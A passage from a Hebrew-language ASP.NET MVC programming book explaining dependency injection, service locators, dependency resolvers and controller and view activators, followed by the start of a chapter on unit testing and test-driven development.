 . שיטות הרחבה: NET 3.5אפשרות חדשה שנוספה לפלטפורמה 

בתוספת ,  נכתבות כשיטות סטטיות במחלקות סטטיות)extension methods(שיטות הרחבה 
כדי לציין לאיזה טיפוס משוּיכֶת שיטת ,  לפני הפרמטר הראשוןthisמילת המפתח המיוחדת 

 : לשיטת הרחבה נעשית כךGetServiceהפרדת השיטה הגנרית . ההרחבה הזו

public interface IServiceLocator 

{ 

 object GetService(Type serviceType); 

} 

 

public static class ServiceLocatorExtensions 

{ 

 public static TService GetService<TService>(this IServiceLocator locator) 

 { 

  return (TService)locator.GetService(typeof(TService)); 

 } 

} 

כה ביצירת הגרסה הגנרית של בדרך זו אנחנו נפטרים מהכפילות ומהעבודה העודפת הכרו
 . וכולם יכולים להשתמש במימוש שלנו, עלינו לכתוב את השיטה פעם אחת בלבד. השיטה

 

  NET MVC.ASPשיטות הרחבה בתשתית 

 שמשמשים HTMLהרוב המוחלט של סייעי .  יש שימוש נרחב בשיטות הרחבהMVCבתשתית 
 HtmlHelper ,AjaxHelper להפקת טפסים בתצוגות הם למעשה שיטות הרחבה במחלקות

 Url- וHtml ,Ajaxאלה הם טיפוסי האובייקטים שמתקבלים בעת גישה לאובייקטים  (UrlHelper-ו
 ). בהתאמה, שבתצוגה

בדרך כלל זהו ( שוכנות במרחב שמות נפרד MVCשיטות הרחבה בתשתית 
System.Web.Mvc.Html או System.Web.Mvc.Ajax .( הצוות שלMVCן הזה מכיוון  בחר בארגו

ורצו , לא בהכרח יספקו מענה מדויק לצרכי היישום שלכם,  המובניםHTMLשהבינו שמחוללי 
 אשר תותאמנה באופן אישי לצרכים הייחודיים של HTMLלאפשר כתיבת שיטות הרחבה להפקת 

שיטות , Web.config מקובץ MVCאם תמחקו את מרחב או את מרחבי השמות של . המתכנתים
ותוכלו להשתמש במקומן בשיטות שיצרתם ,  לא תכללנה ביישוםMVCבנות של ההרחבה המו

 כשיטות HTMLכתיבת מחוללי . כמובן שגם תוכלו להשתמש בשני סוגי השיטות. בעצמכם
 . הרחבה נותנת לכם את הגמישות לבחור את החלופה המתאימה ביותר ליישום שאתם מפתחים
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מכיוון שגישה זו פותרת חלק , נעשה זאת? מדוע להשתמש במאתר שירותים מטיפוס חלש
לרשותכם עומד ממשק שיכול , כלומר. גדול מהחסרונות של מאתרי שירותים מטיפוס חזק

, הדבר תורם לצמצום נטל התחזוקה. ליצור טיפוסים שרירותיים ללא כל ידע מוקדם עליהם
 . מכיוון שהממשק לא מתפתח באופן מתמיד

פוס חלש אינו מספק כל מידע על סוגי השירותים שניתן ממשק איתור שירותים מטי, עם זאת
תוכלו להוסיף מערך . ואינו מספק דרך פשוטה להתאים באופן אישי את יצירת השירות, לבקש

אך זו הדרך היחידה , עבור השירות" פרמטרי יצירה"אופציונלי שרירותי של אובייקטים בתור 
 . החיצונילדעת שהשירות מצריך פרמטרים תהיה לעיין בתיעוד 

 יתרונות וחסרונות של מאתרי שירותים

, עליכם להשיג את מאתר השירותים ממקור כלשהו: השימוש במאתר שירותים פשוט למדי
מאתר השירותים עשוי להימצא במיקום מוכר . ולבקש ממנו את התלויות הנחוצות לכם

, של שינויים בתלויותגם במקרה . והוא עשוי להיות מוצע על ידי הגורם שיוצר אותו, )גלובלי(
מכיוון שהדבר היחיד שנחוץ לכם כדי לאתר את התלויות הוא , החתימה שלכם נשארת זהה

 . מאתר השירותים

חתימה . ההשלכות של חתימה קבועה יכולות להוות חיסרון באותה מידה שהן מהוות יתרון
יוכלו מפתחים שישתמשו ברכיב שלכם לא : קבועה מונעת שקיפות של דרישות הרכיבים
אשר עלול להיות (הם יאלצו להיעזר בתיעוד . לגזור את דרישות השירות מהחתימה של הבנאי

 . ולראות איזה ערכים עליהם לספק, או שיצטרכו להעביר אל אתר שירותים ריק, )מיושן

: היעדר שקיפות בדרישות היא אחת הסיבות העיקריות לבחירה בתבנית היפוך הבקרה הבאה
 . הזרקת תלויות

 הזרקת תלויות: בנית עיצובת

, היא תבנית נוספת במשפחת היפוך הבקרה) DI - Dependency Injection(הזרקת תלויות 
היא אינה כוללת אובייקט תיווך כדוגמת מאתר , אך בניגוד לתבנית הקודמת שהצגנו

בתבנית זו הרכיבים נכתבים בצורה שמאפשרת לציין באופן מפורש את התלויות . השירותים
 .או קביעת ערכי מאפייניםבדרך כלל הדבר נעשה על ידי העברת פרמטרים לבנאי , ןשלה

עושים זאת בדרך , מפתחים שבוחרים להשתמש בהזרקת תלויות כתחליף למאתר שירותים
לבחירה . כלל מכיוון שהחליטו באופן מוּדע להעדיף שקיפות בדרישות על פני אטימות

 . כפי שיוסבר בפרק הבא, בה בשלב בדיקות היחידהבשקיפות של הזרקת התלויות יש תועלת ר

 לבנאיהזרקה 

. )constructor injection(הזרקה לבנאי הצורה השכיחה ביותר של הזרקת תלויות נקראת 
טכניקה זו כרוכה ביצירת בנאי למחלקה אשר מכיל את כל התלויות שלה באופן מפורש 

 מאתר השירותים הוא הפרמטר היחיד שבה, בניגוד לתבנית איתור השירותים מהסעיף הקודם(
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עלינו לשכתב ,  תתמוך בהזרקה לבנאיNotificationSystemכדי שהמחלקה  ).שמועבר לבנאי
 :אותה באופן הבא

public class NotificationSystem 

{ 

 private IMessagingService svc; 

 

 public NotificationSystem(IMessagingService service) 

 { 

  this.svc = service; 

 } 

 

 public void InterestingEventHappened() 

{ 

  svc.SendMessage(); 

 } 

} 

הרכיב מצפה . היתרון הראשון של הגרסה הזו הוא בכך שהמימוש של הבנאי הרבה יותר פשוט
הוא לאחסן , כל שעליו לעשות. תמיד ממי שיוצר אותו להעביר אליו את התלויות הדרושות לו

 .  במשתנה פרטי לצורך שימוש עתידיIMessagingService של את המופע

, קודם.  נדרשת לדעתNotificationSystemיתרון נוסף הוא צמצום מספר הדברים שהמחלקה 
הדגש ניתן , כעת; בנוסף לתלויות שלה עצמה, המחלקה נדרשה להכיר את מאתר השירותים

 . לתלויות בלבד

כל מי שרוצה ליצור מופע של המחלקה  . יפות הדרישותהוא שק, שכבר הוזכר, היתרון השלישי
NotificationSystem יכול לדעת בדיוק מה עליו לספק כדי ליצור מערכת התרעות פשוט על 
 . אין צורך לנחש או לעבוד בצורה עקיפה דרך מאתר השירותים. ידי התבוננות בבנאי

 הזרקה למאפיין

כמשתמע . )property injection(ה למאפיין הזרק ג נפוץ פחות של הזרקת תלויות נקראתסו
התלויות של המחלקה מוזרקות על ידי קביעת ערכם של מאפיינים ציבוריים , מהשם

 . במקום להעבירם כפרמטרים אל הבנאי, באובייקט

 : אשר משתמשת בהזרקה למאפייןNotificationSystemהנה גרסה של המחלקה 

public class NotificationSystem 

{ 

 public IMessagingService MessagingService 

 { 

  get; 

  set; 

 } 
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 public void InterestingEventHappened() 

 { 

  MessagingService.SendMessage(); 

 } 

} 

ומוחלפים ) ולמעשה הבנאי כולו מושמט(הארגומנטים של הבנאי מושמטים , בקטע הקוד הזה
. ק את התלויות שלה דרך המאפיינים ולא דרך הבנאיהמחלקה מצפה מלקוחותיה לספ. במאפיין

היא מניחה שהתלות .  קצת מסוכנתInterestingEventHappenedהשיטה , בגרסה זו של המחלקה
יש לעדכן . NullReferenceExceptionהיא זורקת שגיאה מסוג , ואם לא, של השירות כבר התקבלה

אכן הועברה לה התלות לפני שנעשה כך שתוודא ש, InterestingEventHappenedאת השיטה 
 :שימוש בשירות

public void InterestingEventHappened() 

{ 

 if (MessagingService == null) 

 { 

  throw new InvalidOperationException( 

   "Please set MessagingService before calling " + 

    "InterestingEventHappened()."); 

 } 

 

 MessagingService.SendMessage(); 

} 

היא מספקת אומנם יותר . ברור מהדוגמה שהגישה הזו באה על חשבון שקיפות הדרישות
אבל אין ספק שהסבירות לשגיאה גדולה יותר לעומת הזרקה , שקיפות מאשר מאתר השירותים

 . לבנאי

אפיין על פני אתם עשויים לתהות למה שמישהו יבחר בהזרקה למ, לאור הפגיעה בשקיפות
 :ישנם שני מצבים שמצדיקים בחירה כזו. הזרקה לבנאי

 כלומר קיימת חלופה הולמת במקרה שהלקוח , אם התלויות שלכם אופציונליות באמת
 . השימוש בהזרקה למאפיין עשוי להיות רעיון טוב, אינו מספק אותן

 בנאי המופעים של המחלקה שלכם עשויים להיווצר באופן שאינו מאפשר לשלוט ב
ונראה כמה דוגמאות לכך , זוהי סיבה פחות טריוויאלית. שמופעל ליצירת המופע

 . כאשר נדון כיצד הזרקת תלויות באה לידי ביטוי בהקשר של דפי תצוגה, בהמשך הפרק

והם ישתמשו , במידת האפשר המפתחים מעדיפים להשתמש בהזרקה לבנאי, בדרך כלל
ניתן גם לשלב את . פורטות לעיל מצדיקות זאתבהזרקה למאפיין רק אם אחת מהסיבות המ

ואת התלויות , הזריקו את תלויות החובה כפרמטרים לבנאי: שתי הטכניקות באובייקט יחיד
 . האופציונליות הזריקו למאפיינים
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 מכלי הזרקת תלויות

. כיצד בדיוק מתבצעת הזרקת התלויות: בשתי הדוגמאות שהצגנו חסרה פיסה חשובה מהפאזל
כך פשוט להבין איך כל אבל לא , "כתבו את התלויות שלכם כארגומנטים בבנאי"קל לומר 

, הצרכן של המחלקה יכול לספק את כל התלויות הללו באופן ידני. התלויות הללו מסופקות
אם כל המערכת שלכם אמורה . אבל כפתרון לטווח הארוך הדבר עלול לגרום לנטל משמעותי

ל רכיב מחייבת אתכם להבין כיצד ניתן לקיים את יצירה של כ, לתמוך בהזרקת תלויות
 . הדרישות של כל הגורמים המעורבים

 אחת השיטות היא )dependency injection container(מכל הזרקת תלויות שימוש ב
מכל הזרקת תלויות הינו ספריית תוכנה שמשמשת . השכיחות לפישוט הטיפול בתלויות הללו

החלק . את כל דרישות התלויות שלהם באופן אוטומטיכמפעל לרכיבים אשר מנתח וממלא 
של מכל הזרקת התלויות דומה מאוד ) API(שאחראי על הצריכה בממשק תכנות היישומים 

 שהוא נדרש לבצע היא אספקת תמכיוון שהפעולה העיקרי, )service locator(למאתר שירותים 
 . בדרך כלל על סמך הטיפוס שלו, רכיב מסוים

המימוש של מאתר השירותים הינו פשוט מאוד בדרך . טמון בפרטים הקטניםההבדל , כרגיל
יש להחזיר לו את , אם מישהו מבקש את הטיפוס הזה", אנחנו אומרים למאתר השירותים: כלל

. נדירים מאתרי שירותים שמעורבים בתהליך היצירה של האובייקט עצמו". האובייקט הזה
אם מישהו מבקש את : "דרך כלל את הדברים הבאיםמכל הזרקת תלויות אומר ב, בניגוד לזה
מכך משתמע שיצירה ". יש ליצור אובייקט מהטיפוס הקונקרטי הזה ולספק אותו, הטיפוס הזה

 קרובות יצירה של טיפוסים אחרים כדי לקיים לעתיםשל אובייקט מהטיפוס הקונקרטי גוררת 
חיקות לכת על אופן השימוש יש השפעות מר, דק ככל שיהיה, להבדל זה. את דרישות התלות

 . במכלי הזרקת תלויות בהשוואה למאתרי שירותים

במילים (שמאפשרים לכם למפות טיפוסים ממשקי תצורה לכל המכלים יש , בדרך כלל
רבים מהם ."). T2יש לבנות אובייקט מטיפוס , T1כאשר מישהו מבקש טיפוס ", אחרות

יש לבנות אובייקט , N1 בשם T1טיפוס כאשר מישהו מבקש ("מאפשרים גם למפות לפי שם 
 ."). T2מטיפוס 

לאחר שתבחרו במכל הזרקת . היקף הספר לא מאפשר לנו לדון באפשרויות המתקדמות הללו
יעמוד לרשותכם תיעוד מקיף שמסביר כיצד להשתמש , התלויות המתאים ביותר לצרכיכם

 . באפשרויות התצורה המתקדמות הללו

 MVCפענוח תלויות עם 
הבה נראה כיצד התבנית הזו ,  לאחר שעקרונות תבנית היפוך הבקרה ברורים לכם,כעת

 . ASP.NET MVCמיושמת בתשתית 

אולם , MVC-פרק זה מסביר אומנם כיצד פועלים המנגנונים שמספקים שירותים ל הערה
 .14בנושא זה נדון בפרק . הוא אינו מפרט כיצד ליישם את השירותים הללו
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 שנוצר IDependencyResolver והמכלים הוא הממשק MVCקרי בין התקשורת העיאמצעי 
 :להלן הגדרת הממשק. MVCבמיוחד ליישומי 

public interface IDependencyResolver 

{ 

 object GetService(Type serviceType); 

 IEnumerable<object> GetServices(Type serviceType); 

} 

או מאַתֵר (כדי לבצע רישום של מכל הזרקת תלויות . הממשק נצרך על ידי התשתית עצמה
ברוב המקרים נרשום מופע . עליכם לספק מימוש של הממשק הזה, )לצורך העניין, שירותים
 : באמצעות קוד כדוגמת זה, Global.asaxקובץ במפענח 

DependencyResolver.Current = new MyDependencyResolver(); 

 

  להתקנת מכליםNuGetשימוש במנהל החבילות 

החיים שלנו היו יכולים להיות הרבה יותר פשוטים אם לא היינו צריכים ליישם בעצמנו את 
, למרבה המזל.  רק כדי שנוכל להשתמש בהזרקת תלויותIDependencyResolverהממשק 

NuGetיכול לשחרר אותנו מהעול הזה  . 

 להוספת התייחסויות ומשמש בין השאר, ASP.NET MVC מגיע עם NuGetמנהל החבילות 
 . 10ראו פרק , NuGetלמידע נוסף על . כמעט ללא מאמץ, לפרויקטי קוד פתוח מקוונים

 החזירו NuGetבאמצעות " dependency"או " IoC"חיפושי ביטויים כגון , נכון לזמן הכתיבה
, MVCחלק גדול מהם כוללים חבילה לתמיכת . מספר מכלי הזרקת תלויות זמינים לכל

 . IDependencyResolver הדבר שהם כוללים מימוש מוכן של ומשמעות

ולכן האפשרות הזו נחשבת , MVCמפענחי תלויות אינם קיימים בגרסאות ישנות יותר של 
אם אינכם רוצים להשתמש בפענוח ). אין מפענח רשום על פי ברירת מחדל(כאופציונלית 

 יכולה לצרוך כשירות ניתן MVCשתית כמעט כל דבר שת, כמו כן. אינכם צריכים מפענח, תלויות
 ). בשניהם, ובמקרים רבים(או בנקודת רישום מסורתית יותר , לרשום בתוך המפענח שלכם

אתם יכולים לבחור במצב הרישום המתאים , MVCכאשר ברצונכם לספק שירותים לתשתית 
מפענח תחילה עם " מתייעצת" זקוקה לשירות היא בדרך כלל MVCכאשר תשתית . לכם ביותר

היא בודקת את נקודות , ובמידה שאינה מצליחה למצוא בו את השירות המבוקש, התלויות
 . הרישום המסורתיות

מכיוון , איננו יכולים להראות לכם את הקוד שמשמש לרישום פריטים במפענח התלויות
למידע בנושאי רישום .  שישמש אתכם תלוי במכל הזרקת התלויות שבחרתםשממשק הרישום

 . עליכם לעיין בתיעוד של מכל הזרקת התלויות שהתקנתם, הותצור

 MVCהסיבה לכך היא שתשתית . שימו לב שבממשק של מפענח התלויות יש שתי שיטות
 . צורכת שירותים בשתי דרכים שונות
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 ?  מתוך היישוםIDependencyResolverהאם מומלץ לצרוך את 

!אל תעשו זאת.  מתוך היישום עצמוIDependencyResolverאתם עשויים להתפתות לצרוך את 

הוא אינו מיועד .  ותו לאMVCממשק מפענח התלויות מספק בדיוק את מה שנחוץ לתשתית 
המסורתי של מכל הזרקת התלויות ) API(להסתיר או להחליף את ממשק תכנות היישומים 

בוחרים ורוב המתכנתים אמנם ,  מורכבים ומענייניםAPIרוב המכלים כוללים ממשקי . שלכם
 . יותר מכל סיבה אחרת, את המכל שישמש אותם על סמך הממשק והאפשרויות שהוא מציע

 MVCשירותי רישום יחיד של 

של ) בדיוק( צורכת מספר שירותים שהמשתמש יכול לרשום עבורםמופע אחד MVCתשתית 
והשיטה , )singly registered services(שירותי רישום יחיד  נקראים השירותים אל. השירות

 . GetServiceאשר משמשת לאחזור שלהם מתוך מפענח התלויות נקראת 

 פונה למפענח התלויות לקבלת השירות בפעם MVCתשתית , עבור כל שירות רישום יחיד
תוכלו להשתמש . ומאחסנת את התוצאה בזיכרון למשך פעולת היישום, הראשונה שהוא נצרך

יכולים להשתמש אך אינכם , )כאשר זמין(תי בממשק מפענח תלויות או בממשק רישום מסור
 . בשניהם מכיוון שהתשתית מצפה לקבל מופע אחד בדיוק של כל שירות רישום יחיד

או , צריכים להחזיר מופע של השירות הרשום במפענח GetServiceרכיבים שמיישמים את 
 רישום יחיד תמצאו רשימה של שירותי 12-1בטבלה .  אם השירות אינו קיים בוnullלהחזיר 

 . MVC-שבאים לידי מימוש ב

 .השירות והמימוש שלו: MVCשירותי רישום יחיד של : 12-1טבלה 

 )API, ממשק רישום מסורתי(שירות  מימוש ברירת המחדל של השירות

DefaultControllerActivator IcontrollerActivator (None) 

DefaultControllerFactory 

 

IcontrollerFactory 

  (ControllerBuilder.Current 

  .SetControllerFactory) 

DefaultViewPageActivator IviewPageActivator (None) 

DataAnnotationsModelMetadataProvider ModelMetadataProvider Model 

  (MetadataProviders.Current) 

 MVCשירותי רישום מרובה של 

 צורכת גם מספר שירותים שעבורם המשתמש יכול MVCית תשת, בנוסף לשירותי רישום יחיד
אשר עשויים להתחרות זה בזה או לשתף פעולה , לבצע רישום של מספר מופעים של השירות
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 multiply(שירותי רישום מרובה  נקראים כאלהשירותים . MVCכדי לספק מידע לתשתית 

registered services( , נקראת והשיטה שמשמשת לאחזור שלהם מהמפענחGetServices . 

 פונה אל מפענח התלויות לקבלת השירות בפעם MVCתשתית , עבור כל שירות רישום מרובה
תוכלו . ומאחסנת את התוצאה בזיכרון למשך פעולתו של היישום, הראשונה שהוא נצרך

והתשתית תשלב את התוצאות  ,להשתמש בממשק מפענח תלויות וגם בממשק רישום מסורתי
לשירותים שרשומים במפענח התלויות יש עדיפות על פני . תים ממוזגת יחידהברשימת שירו

עובדה זו משמעותית עבור שירותי . ממשקי רישום מסורתייםשירותים שרשומים באמצעות 
 מבקשת מכל מופע של השירות MVC, כלומר. רישום מרובה שמתחרים על הזכות לספק מידע

ת המידע המבוקש הוא המופע שמשמש את והראשון שמספק א, בזה אחר זה לספק מידע
 . התשתית

צריכים להחזיר אוסף מימושים של טיפוס השירות  GetServicesרכיבים שמיישמים את ה
 . או להחזיר אוסף ריק אם אין שירותים מתאימים במפענח, הרשום במפענח

-בהמודל מרו" כלולה קטגוריה בשם MVCבטבלת שירותי הרישום המרובה שנתמכים על ידי 
 : שיש בה חלוקה לשתי קטגוריות משנה, "שירותים

 שירותים שבהם תשתית : שירותים מתחריםMVC לפי הסדר( עוברת משירות לשירות (
השירות הראשון שמשיב . ושואלת אותו אם הוא יכול לבצע את התפקיד העיקרי שלו

השאלות . הוא השירות שהתשתית תשתמש בו, לה שבאפשרותו למלא את הבקשה
ולכן השירות בפועל שישמש לכל בקשה , ות בדרך כלל על בסיס בקשה יחידהנשאל

מנוע תצוגה אחד : דוגמה לשירות מתחרה היא שירות מנוע התצוגה. עשוי להיות שונה
 . בלבד יכול לשמש למימוש תצוגה עבור בקשה מסוימת

 שירותים שבהם תשתית : שירותים קואופרטיבייםMVC מבקשת מכל שירות לבצע את 
וכל השירותים שמצהירים שבאפשרותם למלא את הבקשה , תפקיד העיקרי שלוה

כל ספק יכול : דוגמה לשירות קואופרטיבי הם ספקי מסננים. ישמשו לביצוע הפעולה
וכל המסננים המתאימים בכל הספקים , לאתר מסננים שיש להריץ עבור הבקשה

 .מורצים

. MVC- לידי מימוש בים באםכפי שה  תמצאו רשימה של שירותי רישום מרובה12-2בטבלה 
 . כדי לציין אם אלה הם שירותים מתחרים או קואופרטיביים, קטגוריותנעשתה לפי לוקה הח

 .השירות והמימוש שלו: MVCשירותי רישום מרובה של : 12-2טבלה 

 )API, ממשק רישום מסורתי(שירות  מימוש ברירת המחדל של השירות

FilterAttributeFilterProvider 

GlobalFilterCollection 

ControllerInstanceFilterProvider 

 

 

IFilterProvider    

     (FilterProviders.Providers) 

Multi-service model: cooperative 
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 )API, ממשק רישום מסורתי(שירות  מימוש ברירת המחדל של השירות

None ImodelBinderProvider 

     

(ModelBinderProviders.BinderProviders) 

Multi-service model: competitive 

WebFormViewEngine 

RazorViewEngine 

IViewEngine (ViewEngines.Engines) 

Multi-service model: competitive 

DataAnnotationsModelValidatorProvider 

DataErrorInfoModelValidatorProvider 

ClientDataTypeModelValidatorProvider 

ModelValidatorProvider 

     (ModelValidatorProviders.Providers) 

Multi-service model: cooperative 

ChildActionValueProviderFactory 

FormValueProviderFactory 

JsonValueProviderFactory 

RouteDataValueProviderFactory 

QueryStringValueProviderFactory 

HttpFileCollectionValueProviderFactory 

ValueProviderFactory 

     (ValueProviderFactories.Factories) 

Multi-service model: competitive 

 MVCאובייקטים שרירותיים בתשתית 

אובייקטים  מבקשת ממפענח תלויות להפיק MVCקיימים שני מקרים מיוחדים שבהם תשתית 
קטים אוביי. אובייקטים שאינם שירותים בהגדרתם,  כלומר- )arbitrary objects(שרירותיים 

 . אלה הם בקרים ודפי תצוגה

 שולטים )activators(מפעילים שני שירותים שנקראים , כפי שראינו בשני הסעיפים האחרונים
 הללו מבקש המפעיליםהמימוש הסטנדרטי של שני . ביצירה של הבקרים ודפי התצוגה

 לשיטה יש קריאה -ואם זה לא מצליח , ממפענח התלויות ליצור בקרים ודפי תצוגה
Activator.CreateInstance . 

 יצירת בקרים

תקבלו בזמן הריצה הודעת שגיאה על , כאשר תנסו לכתוב בקר עם בנאי שמקבל פרמטרים
ביישום ". פרמטרים לאובייקט הזה-לא הוגדר בנאי חסר"שמלווה בהודעה ) exception(חריגה 

MVC , אם תבחנו מקרוב את תיעוד השגיאה תגלו שהוא מכילDefaultControllerFactory וגם 
DefaultControllerActivator . 

הוא שאחראי בסופו של דבר להפוך שמות של בקרים ) controller factory(מפעל הבקר 
. IControllerActivatorהוא שצורך את ,  עצמהMVCולא תשתית , ולכן יוצר הבקר, לאובייקטים

מיפוי שמות : ני שלבים נפרדים ההתנהגות הזו מפוצלת לשMVCבמפעל הבקר הסטנדרטי של 
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 controller(מפעיל הבקר . ויצירת מופעים של הטיפוסים כאובייקטים, הבקרים לטיפוסים

activator(אחראי לשלב השני בתהליך הזה  . 

 מפעלי בקר ומפעילי בקר מותאמים אישית

ראי העיקרי הוא בסופו של דבר האח) controller factory(חשוב לציין שמכיוון שמִפעְלָ הבקר 
כל החלפה של מפעל הבקר עלולה לשבש את , להפיכת שמות של בקרים לבקרים פעילים

 בכלל לא היה MVC 3 -בגרסאות התשתית שקדמו ל. הפעולה התקינה של מפעיל הבקר
 MVCולכן מפעלי בקרים מותאמים אישית שמיועדים לגרסאות ישנות יותר של , מפעיל בקר

אם אתם מתכננים לכתוב . ת למפרשי תלויות או למפעילי בקריםכלל אינם כוללים התייחסויו
 .  עליכם לשקול שימוש במפעילי בקר כל אימת שהדבר מתאפשר, מפעל בקר חדש

ולכן , מפעיל הבקר הסטנדרטי אינו עושה דבר פרט לבקשה ממפענח התלויות ליצור בקרים
כי  תלויות למופעי בקרים יות מספקים באופן אוטומטי הזרקתוחלק ניכר ממכלי הזרקת התל

 המכל יכול ליצור אובייקטים שרירותיים ללא הגדרות תצורה אם. התבקשו ליצור אותם
ותוכלו , בעיקרון אינכם צריכים ליצור מפעיל בקר בעצמכם, )preconfiguration(מקדימות 

 . להסתפק ברישום של מכל הזרקת התלויות שלכם

הוא ידרוש לספק גם , הפקת אובייקטים שרירותייםאם מכל הזרקת התלויות תומך ב, עם זאת
הדבר מאפשר למכל לדעת שמבקשים ממנו ליצור טיפוס שרירותי שאין . מימוש של המפעיל

ולבצע את כל הפעולות הנדרשות כדי להבטיח את הצלחת הבקשה , לגביו בהכרח ידע מקדים
 :הממשק של מפעיל הבקר כולל שיטה אחת בלבד. ליצירת הטיפוס

public interface IControllerActivator 

{ 

 IController Create(RequestContext requestContext, Type controllerType); 

} 

, RequestContextמועבר למפעיל הבקר גם הפרמטר , )controllerType( הבקר בנוסף לטיפוס
וני ניתוב שנבחר ונת, )Request- וSession-המכיל גישה ל (HttpContext-אשר כולל גישה ל

אתם יכולים גם להשתמש במפעיל הבקר , מכיוון שיש לו גישה לנתוני ההקשר. עבור הבקשה
המפעיל יכול להחליט , לדוגמה. הקשר בנוגע ליצירת אובייקט הבקר-לקבלת החלטות תלויות

על יצירת מחלקת בקר אחת עבור משתמש שרשום כמנהל מערכת ומחלקת בקר אחרת לשאר 
 .המשתמשים

 יצירת תצוגות

מפעיל דף התצוגה אחראי , בדומה לאופן שבו מפעיל הבקר אחראי ליצירת מופעים של בקרים
מכיוון שהטיפוסים הללו הינם טיפוסים שרירותיים , גם כאן. ליצירת מופעים של דפי תצוגה

המפעיל מודיע למכל שבוצעה בקשה , שלא הוגדרו מראש בתצורה של מכל הזרקת התלויות
  .לתצוגה
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 : ממשק מפעיל התצוגה דומה לממשק המקביל של מפעיל הבקר

public interface IViewPageActivator 

{ 

 object Create(ControllerContext controllerContext, Type type); 

} 

אשר מכיל בנוסף , ControllerContextבדוגמה זו ניתנת למפעיל דף התצוגה גישה לאובייקט 
לנתונים , לנתוני התצוגה, למודל,  לבקרהפניהגם ) HttpContextכולל  (RequestContext-ל

 . הזמניים ולנתונים אחרים כדי לדעת את המצב הנוכחי של הבקר

 באופן MCVמפעיל דף התצוגה הוא טיפוס שנצרך על ידי תשתית , בדומה למפעיל הבקר
הבסיס המופשטת מחלקת  (BuildManagerViewEngine, במקרה זה. ולא באופן ישיר, עקיף

היא שמבינה וצורכת את מפעיל דף ) RazorViewEngine- וWebFormViewEngineעבור 
 . התצוגה

. האחריות העיקרית של מנוע התצוגה הינה להמיר שמות של תצוגות למופעים של תצוגות
ומשאירה ,  מטילה את יצירת המופע של אובייקטי דף התצוגה על מפעיל התצוגהMVCתשתית 
למחלקת הבסיס של מנוע התצוגה של י קבצי התצוגה הנכונים והידור הקבצים הללו את זיהו

 . מנהל הבנייה

  NET.ASPמנהל הבנייה של 

 בזמן הריצה של ליבת BuildManagerהידור התצוגות למחלקות נעשית על ידי הרכיב 
ASP.NET.  

ולכן ניתן לנצל , ASP.NETבדומה לזמן הריצה של ליבת , מערכת מנהל הבנייה ניתנת להרחבה
לזמן . את מודל ההידור הזה להמרה של קבצי קלט למחלקות בזמן הריצה של היישומים

 cshtmlוהיכולת להדר קבצי , Razor אין למעשה שום ידע על ASP.NET MVCהריצה של ליבת 
כתב הרחבת מנהל בנייה  ASP.NET Web Pages שהצוות של מכיוון קיימת רק vbhtml-ו

 . )build provider(בנייה שנקראת ספק 

 ORM) Object-Relational, בלהט-ממפה אובייקט, SubSonicהגרסאות המוקדמות של פרויקט 

Mapper ( שנכתב על ידיRob Conery ,שלישי שמספקת שירותי -מהוות דוגמה לספריית צד
זמן וב,  יכלה לצרוך קובץ שמתאר בסיס נתונים שיש למפותSubSonicהספרייה . ניהול בנייה

 .  שתואמות לטבלאות בסיס הנתוניםORMהריצה היתה מפיקה באופן אוטומטי מחלקות 

ולכן כל ההידור שמבוצע על ,  מנהל הבנייה פועל במהלך זמן העיצובVisual Studioבסביבת 
 .Visual Studio בתוך IntelliSenseלרבות תמיכת , ידו יהיה זמין עבורכם בעת כתיבת היישום
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 סיכום
 מספקים דרכים חדשות ומעניינות להזרקת תלויות ASP.NET MVCהתלויות בתשתית מפענחי 

תוכלו להיעזר בטכניקות הללו כדי לעצב יישומים בעלי קישור רופף בין . ביישום שלכם
מאפיינים אשר נוטים להוביל לתהליך פיתוח , משופרת) plugability(הרכיבים ויכולת הרחבה 

 . גמיש ויעיל יותר
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 13פרק 

 )Unit Testing(בדיקות יחידה 

Brad Wilson 

 

 עיקרי הפרק

 בדיקות-הגדרת בדיקות יחידה ופיתוח מונחה 

 בניית פרויקט בדיקת יחידה 

  עצות לביצוע בדיקות יחידה ביישומיASP.NET MVC 

 

 ופיתוח תוכנה שניתנת לבדיקה הינם היבטים חשובים בתהליך )unit testing(בדיקות יחידה 
רוב המפתחים המקצועיים מיישמים בדרך כלשהי בדיקות יחידה . האיכות של התוכנההבטחת 

 )Test Driven Development - TDD(בדיקות -פיתוח מונחה. בעבודה היומיומית שלהם
הינו סגנון לכתיבת בדיקות יחידה שבו המתכנת כותב את קוד הבדיקה לפני שהוא מתחיל 

בדיקות מאפשר למפתח -פיתוח מונחה. )production code(קוד הייצור במלאכת כתיבת 
מבלי לוותר על היתרונות לאיכות ולבדיקות נסיגה , להרחיב ולפתח את העיצוב באופן אורגני

)regression testing (תשתית . שנלווים לבדיקות יחידהASP.NET MVC נכתבה מתוך הכרה 
בעיקר ( בבדיקות יחידה בפרק זה נתמקד בעיקר בשימוש. בצורך של ביצוע בדיקות יחידה

 . ASP.NET MVCביישומי ) TDDפיתוח 

הוספנו הקדמה קצרה לנושא , TDDלמען אלה שאינם בעלי ניסיון עם בדיקות יחידה או עם 
כדי לעורר את סקרנותכם ולעודד אתכם למצוא חומרים מקיפים , TDDבדיקות היחידה ופיתוח 

ולכן , יחידה עוסקות בנושא רחב היקףבדיקות . יותר על תהליכי העבודה החשובים הללו
המטרה העיקרית של הקדמה זו היא לעזור בהחלטה אם דרושה העמקת הידע בתחום בדיקות 

 . TDDהיחידה ופיתוח 

בפרק זה נעסוק בהצגת עצות מעשיות וטריקים שימושיים לבניית בדיקות יחידה עבור רכיבים 
ה של הפרק ניתן הסבר שימושי במחצית השניי.  שלכםASP.NET MVCשכיחים ביישומי 

 . במיוחד למפתחים שכבר משתמשים בבדיקות יחידה ומעוניינים לשפר את ידיעותיהם
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 בדיקות-הגדרת בדיקות יחידה ופיתוח מונחה
לרבות בדיקות , חס למגוון רחב של פעילויותמתיי )software testing(בדיקת תוכנה המונח 
בדיקות , )exploratory testing(בדיקות חקירה , )acceptance testing(בדיקות קבלה , יחידה

חשוב ,  לפני שנתקדם).scalability testing(ובדיקות הרחבה , )performance testing(ביצועים 
 - )unit testing( בדיקות יחידהשנבהיר בדיוק למה אנחנו מתכוונים כאשר אנחנו אומרים 

 . הנושא שנעסוק בו בפרק זה

 דרההג: בדיקות יחידה

ורובם גם מחזיקים בדעה כלשהי , רוב המפתחים נחשפו לבדיקות יחידה בצורה זו או אחרת
התכונות הבאות משותפות כמעט לכל , מניסיוננו. בדבר הדרך היעילה ביותר לבצע אותן

 : בדיקות היחידה שמוכיחות את עצמן בטווח הארוך

  יחידות("בדיקת מקטעים קטנים של קוד ייצור(" 

